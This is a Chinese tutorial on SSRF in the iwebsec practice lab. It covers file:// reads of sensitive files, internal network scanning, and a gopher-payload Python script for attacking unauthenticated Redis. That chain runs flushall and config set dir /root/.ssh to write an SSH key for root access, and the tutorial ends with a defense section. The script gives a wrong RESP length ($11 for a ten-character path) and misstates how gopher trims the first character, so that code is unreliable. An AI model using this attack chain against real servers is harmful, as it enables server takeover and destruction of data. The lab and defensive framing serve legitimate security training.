从原理到实战:利用iwebsec靶场深入理解SSRF漏洞与Gopher协议攻击
1. 项目概述:为什么SSRF是每个Web安全新手必须攻克的堡垒
如果你刚开始接触Web安全,可能会被各种漏洞名词搞得眼花缭乱:SQL注入、XSS、文件上传……但有一个漏洞,它像一把能打开内网大门的“万能钥匙”,攻击者可以利用它从外部访问到服务器内部的敏感系统,这就是SSRF(Server-Side Request Forgery,服务端请求伪造)。听起来有点抽象?简单说,就是攻击者能“欺骗”服务器,让它代替攻击者去发起一个HTTP请求,而这个请求的目标,往往是攻击者自己无法直接访问的内部网络或本地服务。
我刚开始学安全时,也觉得SSRF原理复杂,各种协议(file、gopher、dict)让人头大。直到我找到了iwebsec靶场,一个专门为国内学习者设计的、环境纯净的漏洞练习平台。用它来复现SSRF,尤其是从最基础的file://协议读取本地文件,到利用gopher://协议构造复杂攻击载荷去攻击内网Redis数据库,整个学习路径清晰得就像爬楼梯,一步一个脚印。这次,我就带你用iwebsec靶场,把SSRF从原理到实战,尤其是file和gopher这两个核心协议,彻底搞明白。无论你是刚入门的安全爱好者,还是想巩固基础的开发者,跟着走一遍,你不仅能看懂漏洞,更能亲手把它“挖”出来。
2. SSRF漏洞核心原理与协议武器库拆解
在动手之前,我们必须先弄清楚SSRF到底是怎么发生的,以及我们手上有哪些“武器”(协议)可以用。很多教程一上来就讲利用,但如果不明白背后的“为什么”,遇到变种漏洞还是会懵。
2.1 SSRF发生的根本原因:过度的服务器“信任”
想象一下,你是一个网站的后台管理员,网站有个功能是“一键抓取网页缩略图”。用户输入一个图片网址,你的服务器就去把这个图片下载下来,处理成缩略图。这个功能本身没问题。但问题出在,你的服务器太“老实”了,它对用户输入的URL没有任何戒备心。攻击者这时输入的不是http://example.com/image.jpg,而是file:///etc/passwd(Linux系统密码文件)或者http://192.168.1.1/admin(你服务器内网的管理后台地址)。
由于服务器执行这个下载请求时,通常拥有较高的权限,并且处于内部网络环境,它就能成功访问到这些本应被防火墙隔离的资源,然后把内容返回给攻击者。这就是SSRF最经典的场景:服务器未对用户可控的URL参数进行充分校验和过滤,导致其能够被用来发起对内网或本地资源的请求。
在iwebsec靶场中,这种场景被模拟得非常典型。靶场通常会提供一个URL输入框,背后是一个curl或file_get_contents的函数调用,这正是SSRF最常见的触发点。
2.2 攻击协议详解:从“窥探”到“操控”的升级
SSRF的强大,很大程度上源于服务器支持多种URL协议。不同的协议能让我们实现不同级别的攻击效果。
1. file协议:内网的“眼睛”file://协议用于访问本地文件系统。这是SSRF最基础、最直接的利用方式。
- 作用:读取服务器上的敏感文件。比如配置文件(
/etc/passwd,/proc/self/environ)、源码(./index.php)、密钥文件等。 - 利用格式:
file:///绝对路径。例如file:///etc/passwd。在Windows系统上,可能是file:///C:/Windows/win.ini。 - 为什么能成功:因为服务器进程(如Apache、PHP-FPM)运行时具有读取这些文件的权限。当它代表我们去请求
file://协议时,实际上就是用自身的权限去读文件。
注意:现代PHP环境默认可能禁用
file://协议封装器,或者在allow_url_fopen和allow_url_include配置上做了限制。但iwebsec靶场为了教学,通常会开启这些配置,这正是我们练习的好机会。
2. http/https协议:探测与攻击内网Web服务这是最直观的协议,用于探测或攻击内网的其他Web应用。
- 作用:
- 端口扫描:通过构造
http://192.168.1.1:8080这样的请求,根据返回结果(连接超时、拒绝连接、返回正常页面等)来判断内网某IP的某个端口是否开放。 - 攻击内网脆弱应用:如果内网存在一个未授权访问的Jenkins、一个弱口令的Confluence,或者一个存在漏洞的Weblogic,我们可以通过SSRF直接发起攻击。
- 端口扫描:通过构造
- 利用技巧:结合Burp Suite的Intruder模块,可以自动化进行内网IP和端口的爆破扫描。
3. dict协议:探测端口与服务指纹dict://协议用于访问DICT字典服务器,但它有一个特性:在连接时会先返回服务的banner信息。
- 作用:快速探测目标端口是否开放,以及获取服务指纹。例如,
dict://192.168.1.1:6379/info会尝试连接该IP的6379端口(Redis默认端口),如果端口开放,我们就能在返回的错误信息或连接交互中看到Redis的标识。 - 格式:
dict://<target-ip>:<port>/<word>。这个<word>可以是任意内容,如info、stats等,目的是触发一次连接。
4. gopher协议:SSRF的“王牌”,实现协议无关攻击gopher协议是一个古老的互联网协议,但它却是SSRF攻击中的“瑞士军刀”。它支持发送任意的TCP数据包,这意味着我们可以用它来构造HTTP、Redis、MySQL、FTP等多种协议的攻击请求。
- 作用:攻击内网的非HTTP服务。最经典的案例就是攻击无认证的Redis服务,实现未授权访问甚至写入Webshell。
- 强大之处:它不关心目标服务是什么协议,只要我们能按照目标协议的原始TCP数据流格式,构造出正确的数据包,并通过
gopher协议发送出去,就能与目标服务进行交互。 - 挑战:手工构造
gopher数据包非常复杂,需要精确计算每个字符的URL编码,并且要了解目标协议的通信格式。这也是本次实战的重点和难点。
理解了这些协议,我们就有了清晰的攻击思路:先通过file或http协议确认漏洞存在并获取一些基础信息(如内网IP段),再尝试用dict探测关键端口,最后用gopher这把“万能钥匙”发起精准攻击。
3. iwebsec靶场环境搭建与基础SSRF复现
理论说得再多,不如亲手操作一遍。我们首先在本地搭建iwebsec靶场,并完成最基础的SSRF漏洞验证。
3.1 靶场部署与漏洞点定位
我推荐使用Docker来部署iwebsec,这是最干净、最不容易出错的方式。
# 1. 拉取iwebsec靶场镜像 docker pull iwebsec/iwebsec # 2. 运行靶场容器,将本地80端口映射到容器的80端口 docker run -d -p 80:80 --name iwebsec-ssrf iwebsec/iwebsec # 3. 查看容器运行状态 docker ps | grep iwebsec部署完成后,在浏览器访问http://127.0.0.1,你应该能看到iwebsec的导航界面。找到SSRF漏洞相关的关卡(通常会有明确标注)。
进入SSRF漏洞关卡后,你会看到一个典型的界面:一个输入框,一个提交按钮,下方是回显区域。查看网页源码,你会发现表单提交到一个PHP文件,参数名可能是url、path或file。后端代码逻辑大致如下:
<?php // 模拟漏洞代码 $url = $_GET['url']; // 用户完全可控的参数 $content = file_get_contents($url); // 危险函数,未做任何过滤 echo $content; ?>这就是我们的“攻击入口”。
3.2 利用file协议读取服务器敏感文件
我们的第一个实战目标:利用file://协议读取服务器上的/etc/passwd文件,证明SSRF漏洞存在。
- 基础测试:在输入框中尝试输入
file:///etc/passwd,然后提交。 - 观察结果:如果页面上显示了
/etc/passwd文件的内容(一堆以root:x:0:0...开头的用户信息),那么恭喜,基础SSRF漏洞存在! - 深入利用:
/etc/passwd只是开始。你可以尝试读取其他敏感文件:/proc/self/environ: 有时会包含数据库密码、密钥等环境变量。/etc/hosts: 查看服务器内部网络结构。/var/www/html/index.php: 尝试读取网站源码,寻找其他漏洞或数据库连接信息。C:\Windows\System32\drivers\etc\hosts(如果靶场是Windows环境,但iwebsec通常是Linux)。
实操心得:在实际渗透测试中,
file://协议被禁用的情况很常见。如果遇到file://失效,不要马上放弃。可以尝试:
- 使用完整的URL编码:
file:%2F%2F%2Fetc%2Fpasswd。- 尝试使用
http://127.0.0.1或http://localhost来访问本地回环地址的服务,这同样属于SSRF。- 利用一些URL解析器的特性,比如
http://127.0.0.1@evil.com可能会被某些库解析为访问127.0.0.1。
3.3 利用http协议进行内网探测
在确认漏洞存在后,我们假设这个服务器处于一个内网中(这是非常常见的场景)。我们的下一步就是探测这个内网里还有什么“好东西”。
- 确定内网IP段:通常内网IP段是
192.168.x.x、10.x.x.x或172.16.x.x ~ 172.31.x.x。我们可以先读取/etc/hosts文件获取线索,或者直接进行盲猜。 - 构造探测Payload:在输入框中尝试
http://192.168.1.1。如果服务器返回连接超时或拒绝连接,说明这个IP可能不存在或没开机。如果返回了其他错误(如403 Forbidden)甚至是一个正常的页面,那就意味着我们找到了一个内网资产! - 端口扫描:假设我们发现了
192.168.1.2这个IP。接下来可以探测它开放了哪些端口。例如:http://192.168.1.2:8080(常见于Tomcat, Jenkins)http://192.168.1.2:6379(Redis,但Redis是TCP协议,直接HTTP访问会失败,这里只是看连接反应)http://192.168.1.2:80(默认Web端口)
由于手动测试效率太低,我们可以把Burp Suite请出来。
使用Burp Suite Intruder进行自动化内网探测:
- 在浏览器中配置代理指向Burp。
- 在iwebsec靶场提交一个合法的HTTP请求,比如
http://example.com。 - 在Burp的Proxy历史记录中,找到这个请求,右键发送到Intruder。
- 在Intruder的Positions标签页,清除所有自动标记,然后手动将URL参数中的IP地址部分标记为Payload位置。例如,将
http://§192.168.1.1§:80中的IP部分标记。 - 在Payloads标签页,选择“Numbers”类型,生成一个IP地址列表,比如从
192.168.1.1到192.168.1.254,格式为192.168.1.§§。 - 开始攻击。Burp会批量替换IP发起请求。通过观察响应长度、状态码,我们可以快速筛选出存活的IP。对于存活的IP,再针对常见端口(80, 443, 8080, 8888, 6379, 27017等)进行第二轮端口扫描。
这个过程能让我们绘制出一张小小的内网地图。
4. 进阶实战:利用Gopher协议攻击内网Redis服务
当我们通过探测发现内网有一台192.168.1.100的服务器开放了6379端口(Redis默认端口),并且Redis没有设置密码认证时,真正的“大戏”就开场了。我们将使用SSRF中最强大的gopher协议,来攻击这个Redis服务。
4.1 Gopher协议原理与数据包构造
gopher协议的攻击流程可以概括为:将我们想发送给目标服务的原始TCP数据流,进行特定格式的转换和编码,然后通过存在SSRF漏洞的服务器发送出去。
假设我们想向Redis发送一条命令:SET mykey “hacked”。Redis的通信协议是RESP(REdis Serialization Protocol)。这条命令的原始TCP数据包(RESP格式)是这样的:
*3\r\n$3\r\nSET\r\n$5\r\nmykey\r\n$6\r\nhacked\r\n我来解释一下:
*3表示这是一个包含3个元素的数组。\r\n是回车换行,RESP协议的分隔符。$3表示下一个元素是长度为3的字符串。SET是命令本身。- 后面依次是键名
mykey和值hacked的长度及内容。
现在,我们需要把这个数据包转换成gopher协议能识别的格式。gopher请求的格式是:gopher://<host>:<port>/_<TCP数据流>
其中,<TCP数据流>需要满足:
- 每一行以
\r\n结尾。 - 整个数据流需要进行URL编码。
所以,我们的转换步骤如下:
- 在数据流前加上一个“哑行”(因为gopher会忽略第一行),通常是一个
_或任意字符加\r\n。 - 将整个字符串进行URL编码。
最终构造出的Payload会非常长,形如:gopher://192.168.1.100:6379/_%2A3%0D%0A%243%0D%0ASET%0D%0A%245%0D%0Amykey%0D%0A%246%0D%0Ahacked%0D%0A
手工构造这个简直是噩梦。因此,我们通常使用Python脚本来自动化这个过程。
4.2 编写Gopher攻击Payload生成脚本
下面是一个Python脚本示例,用于生成攻击Redis的gopherpayload。我们的攻击目标是:向Redis写入一个SSH公钥,从而获取服务器权限(前提是Redis以root权限运行,且允许写入/root/.ssh/authorized_keys文件)。
import urllib.parse def generate_gopher_payload(host, port, data): """ 生成Gopher协议的Payload :param host: 目标主机 :param port: 目标端口 :param data: 要发送的原始TCP数据(字节流) :return: 完整的Gopher URL """ # Gopher协议格式:gopher://host:port/_ + URL编码后的数据 # 数据需要先加上一个换行(哑行),因为gopher会忽略第一行 payload = "_" + data # 对整个payload进行URL编码 encoded_payload = urllib.parse.quote(payload) # 构建完整的gopher URL gopher_url = f"gopher://{host}:{port}/{encoded_payload}" return gopher_url # 攻击步骤1:清空Redis数据(可选,避免干扰) flushall_cmd = b"*1\r\n$8\r\nflushall\r\n" # 攻击步骤2:设置一个键值对,其值是我们构造的恶意SSH公钥写入命令 # 我们先写入一个换行符,因为Redis的`config set dir`命令需要 ssh_public_key = b"\n\nssh-rsa AAAAB3NzaC1yc2E...(这里替换成你的公钥)...\n\n" # 将公钥转换成Redis可执行的命令序列。这里是一个简化示例,实际需要构造多条命令。 # 通常步骤是: # 1. config set dir /root/.ssh # 2. config set dbfilename authorized_keys # 3. set x “\n\n公钥内容\n\n” # 4. save # 由于构造完整的攻击链命令较复杂,这里给出一个关键命令的生成示例:设置目录 config_dir_cmd = b"*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$11\r\n/root/.ssh\r\n" # 生成攻击第一个步骤的gopher payload target_host = "192.168.1.100" target_port = 6379 gopher_payload_flush = generate_gopher_payload(target_host, target_port, flushall_cmd.decode('latin-1')) gopher_payload_config = generate_gopher_payload(target_host, target_port, config_dir_cmd.decode('latin-1')) print("用于flushall的Gopher Payload:") print(gopher_payload_flush) print("\n用于设置目录的Gopher Payload:") print(gopher_payload_config) # 注意:实际攻击时,需要按顺序将多个payload(flushall, set dir, set dbfilename, set public_key, save)依次通过SSRF漏洞提交。这个脚本的核心是generate_gopher_payload函数,它完成了数据格式转换和URL编码。在实际攻击中,你需要按照flushall->config set dir->config set dbfilename->set xxx \n\n公钥\n\n->save的顺序,生成5个对应的Payload,并依次在iwebsec的漏洞点提交。
4.3 在iwebsec靶场中实施Gopher攻击
现在,我们将脚本生成的Payload应用到靶场中。
- 环境确认:确保你的iwebsec靶场关卡支持
gopher协议(通常iwebsec的SSRF关卡会开启)。可以先用一个简单的Payload测试,比如gopher://127.0.0.1:6379/_*1%0D%0A$8%0D%0Aflushall%0D%0A,如果返回错误或连接信息,说明协议支持。 - 实施攻击:
- 运行上面的Python脚本,将
target_host改为你探测到的内网Redis IP(例如192.168.1.100)。 - 脚本会输出一串长得离谱的URL。复制第一个(flushall)的URL。
- 将其粘贴到iwebsec靶场的SSRF漏洞输入框中,提交。
- 观察响应。如果Redis服务存在且无认证,这个命令会清空Redis数据库,服务器可能会返回一个
+OK\r\n的响应(经过URL编码后显示在页面上),或者是一个连接相关的错误。请注意,在生产环境中绝对不要对非授权目标进行flushall操作,这是破坏性的! - 然后,按顺序提交后续的Payload(设置目录、设置文件名、写入公钥、保存)。
- 运行上面的Python脚本,将
- 攻击结果验证:如果所有步骤都成功执行,那么公钥就被写入了目标服务器的
/root/.ssh/authorized_keys文件。此时,你可以尝试用对应的私钥通过SSH连接192.168.1.100,如果成功,就意味着你通过SSRF漏洞,间接获得了内网一台服务器的最高权限。
这个过程清晰地展示了SSRF如何从一个简单的“读文件”漏洞,演变成通往整个内网的“桥梁”,最终导致严重的内网横向移动和数据泄露。
5. 常见问题、防御方案与实战心得
走完了整个攻击流程,我们不仅要会“攻”,更要理解如何“防”。同时,把实战中容易踩的坑总结一下,能让你以后的路更顺。
5.1 实战中遇到的典型问题与排查技巧
在复现过程中,你几乎一定会遇到下面这些问题:
| 问题现象 | 可能原因 | 排查思路与解决方案 |
|---|---|---|
提交file:///etc/passwd无回显 | 1. PHP配置禁用了file://封装器。2. 函数被禁用(如 allow_url_fopen=Off)。3. 存在基础过滤(如检查 file关键字)。 | 1. 尝试http://127.0.0.1看是否通,确认SSRF漏洞是否存在。2. 尝试URL编码或双重编码: file:%2F%2F%2Fetc%2Fpasswd。3. 尝试使用其他协议如 http访问本地文件:http://localhost/etc/passwd(需要特定配置)。 |
gopherpayload提交后无任何反应或报错 | 1. 服务器不支持gopher协议。2. Payload构造错误(格式、编码问题)。 3. 目标服务(如Redis)不存在、端口不对或需要认证。 | 1. 先用一个极简的gopher请求测试协议支持性,如访问一个已知的HTTP端口并观察响应。2.使用网络工具(如 nc)本地模拟Redis服务,先测试Payload的正确性。这是最关键的一步!3. 检查Python脚本生成的Payload,确保换行符 \r\n被正确编码为%0D%0A。 |
攻击Redis时,config set dir命令失败 | 1. Redis运行在保护模式或低权限下,无法写入系统目录。 2. Redis版本较高,默认禁止了一些危险命令。 | 1. 尝试写入Web目录,如/var/www/html,然后写入Webshell。2. 尝试其他攻击方式,如主从复制RCE等。 |
| Burp Intruder扫描内网时速度极慢或大量超时 | 1. 存在网络延迟或防火墙。 2. 靶场服务器或Docker容器资源不足。 3. 扫描的IP范围或端口范围太大。 | 1. 增加超时时间(在Intruder的Options里设置)。 2. 缩小扫描范围,优先扫描常见IP段(如 192.168.0/1/2.1-254)和关键端口(80, 443, 8080, 22, 3306, 6379)。3. 使用更高效的扫描模式(如 Sniper或Battering ram)。 |
核心排查技巧:本地模拟调试。在真正攻击靶场或测试目标前,一定要在本地搭建一个模拟环境。比如,在本机用Docker运行一个无认证的Redis,然后用你的Python脚本生成Payload,直接在本机用
curl命令测试这个Payload是否能成功操作Redis。确认无误后,再将Payload用于SSRF测试。这能节省你大量猜测和等待的时间。
5.2 SSRF漏洞的防御方案解析
知道了怎么攻击,防御思路就清晰了。防御SSRF的核心原则是:对用户输入的所有URL进行严格的“白名单”校验,并限制服务器请求的能力。
输入校验与过滤(最前端):
- 协议白名单:只允许
http和https协议。在代码中显式检查URL的scheme,拒绝file、gopher、dict、ftp等危险协议。 - 域名/IP黑名单/白名单:
- 黑名单:拒绝访问内网IP段(
127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)和本地回环地址(localhost)。但黑名单可能被绕过(如IPv6、域名重绑定攻击)。 - 白名单(推荐):如果业务明确只允许访问几个固定的外网域名,那么只允许这些域名通过校验。
- 黑名单:拒绝访问内网IP段(
- URL解析一致性:使用编程语言标准的URL解析库(如Python的
urlparse, Java的java.net.URI)来解析URL,获取其host,然后解析这个host为IP地址,判断该IP是否属于内网。避免使用正则表达式等可能被绕过的简单匹配。
- 协议白名单:只允许
请求过程控制(中间层):
- 禁用不必要的URL封装器:在PHP中,设置
allow_url_fopen = Off和allow_url_include = Off。这能从根本上阻断很多协议的攻击。 - 使用安全的网络请求库:很多语言的安全库(如Java的
HttpURLConnection, Python的requests库)默认会阻止对内部地址的请求。避免使用curl命令或原生socket进行不受控的请求。 - 设置请求超时和重定向限制:防止攻击者利用SSRF进行DoS攻击或通过重定向链访问到内网资源。
- 禁用不必要的URL封装器:在PHP中,设置
网络架构隔离(最底层):
- 划分网络区域:将面向公网的应用服务器和内部敏感业务服务器部署在不同的VPC或子网中,并通过严格的安全组/防火墙策略进行隔离,确保即使应用服务器被攻陷,也无法访问到核心内网。
- 使用跳板机或代理:如果业务确实需要从服务器发起外部请求,可以统一通过一个配置了严格出口过滤的代理服务器或跳板机进行,在该代理上实施IP白名单策略。
防御是一个多层次的工作,代码层的校验是基础,网络层的隔离是最后也是最坚固的防线。
5.3 个人实战心得与延伸思考
通过这次在iwebsec靶场从file到gopher的完整复现,我最深的体会是:SSRF是一个“牵一发而动全身”的漏洞。它从一个不起眼的输入点开始,却可能引爆整个内网的安全防线。对于开发者而言,任何一处从用户输入获取URL并发起请求的地方,都必须打起十二分精神。
对于学习者,我有几个建议:
- 不要死记硬背Payload:理解
gopher协议转换的原理,比记住一个攻击Redis的Payload重要一百倍。明白了原理,你才能应对各种变种和过滤。 - 工具只是辅助:Python脚本、Burp Suite都是好帮手,但不要成为“工具小子”。要清楚每一步操作在底层发生了什么。
- 关注漏洞的“上下文”:在实际场景中,SSRF可能出现在图片处理、PDF生成、邮件抓取、远程API调用等各种功能里。学会通过功能点去推测可能存在的SSRF,是漏洞挖掘的关键。
- 延伸学习:掌握了基础的SSRF后,可以研究更高级的技巧,比如:
- URL解析差异与绕过:利用不同库(浏览器、
curl、urllib)解析URL的差异来绕过过滤。 - DNS重绑定攻击:一种非常巧妙的绕过IP黑名单的技术。
- 与云服务元数据API结合:在云环境(AWS, GCP, Azure)中,利用SSRF访问云服务器的元数据服务,获取临时密钥,后果极其严重。
- URL解析差异与绕过:利用不同库(浏览器、
最后,在iwebsec靶场练习时,不妨多看看关卡提供的源码。理解漏洞代码是怎么写的,你才能更好地在代码审计中识别它。安全之路,知其然,更要知其所以然。当你能够独立完成这样一次完整的漏洞复现和原理剖析时,SSRF这个知识点,才算真正被你拿下了。